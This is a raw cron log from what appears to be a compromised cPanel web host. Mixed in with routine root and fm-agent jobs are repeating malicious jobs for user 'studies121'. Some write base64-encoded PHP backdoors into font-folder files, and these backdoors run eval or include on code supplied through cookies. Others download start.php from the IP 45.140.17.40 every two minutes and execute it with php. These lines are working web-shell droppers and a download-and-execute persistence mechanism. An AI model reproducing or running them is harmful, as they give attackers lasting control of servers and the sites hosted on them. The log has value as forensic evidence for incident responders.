Sep  9 15:28:01 ip-184-168-122-23 CROND[7052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:28:01 ip-184-168-122-23 CROND[7054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:28:01 ip-184-168-122-23 CROND[7053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:28:01 ip-184-168-122-23 CROND[7055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:29:01 ip-184-168-122-23 CROND[7239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:29:01 ip-184-168-122-23 CROND[7238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:29:01 ip-184-168-122-23 CROND[7240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:29:01 ip-184-168-122-23 CROND[7241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:30:01 ip-184-168-122-23 CROND[7346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:30:01 ip-184-168-122-23 CROND[7347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:30:01 ip-184-168-122-23 CROND[7351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:30:01 ip-184-168-122-23 CROND[7353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:30:01 ip-184-168-122-23 CROND[7355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:30:01 ip-184-168-122-23 CROND[7357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:30:01 ip-184-168-122-23 CROND[7354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:30:01 ip-184-168-122-23 CROND[7358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:31:01 ip-184-168-122-23 CROND[7464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:31:01 ip-184-168-122-23 CROND[7466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:31:01 ip-184-168-122-23 CROND[7468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:31:01 ip-184-168-122-23 CROND[7469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:31:01 ip-184-168-122-23 CROND[7470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:32:01 ip-184-168-122-23 CROND[7550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:32:01 ip-184-168-122-23 CROND[7552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:32:01 ip-184-168-122-23 CROND[7551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:32:01 ip-184-168-122-23 CROND[7553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:32:01 ip-184-168-122-23 CROND[7556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:33:01 ip-184-168-122-23 CROND[7683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:33:01 ip-184-168-122-23 CROND[7685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:33:01 ip-184-168-122-23 CROND[7686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:33:01 ip-184-168-122-23 CROND[7690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:34:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:34:01 ip-184-168-122-23 CROND[7776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:34:01 ip-184-168-122-23 CROND[7775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:34:01 ip-184-168-122-23 CROND[7780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:34:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:35:01 ip-184-168-122-23 CROND[7888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:35:01 ip-184-168-122-23 CROND[7900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:35:01 ip-184-168-122-23 CROND[7895]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 15:36:01 ip-184-168-122-23 CROND[7995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:36:01 ip-184-168-122-23 CROND[7998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:36:01 ip-184-168-122-23 CROND[7997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:36:01 ip-184-168-122-23 CROND[8003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:36:01 ip-184-168-122-23 CROND[8001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:37:01 ip-184-168-122-23 CROND[8192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:37:01 ip-184-168-122-23 CROND[8195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:37:01 ip-184-168-122-23 CROND[8194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:37:01 ip-184-168-122-23 CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:38:01 ip-184-168-122-23 CROND[8289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:38:01 ip-184-168-122-23 CROND[8294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:38:01 ip-184-168-122-23 CROND[8292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:38:01 ip-184-168-122-23 CROND[8291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:38:01 ip-184-168-122-23 CROND[8293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:39:01 ip-184-168-122-23 CROND[8380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:39:01 ip-184-168-122-23 CROND[8382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:39:01 ip-184-168-122-23 CROND[8383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:39:01 ip-184-168-122-23 CROND[8384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:39:01 ip-184-168-122-23 CROND[8386]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 15:40:01 ip-184-168-122-23 CROND[8517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
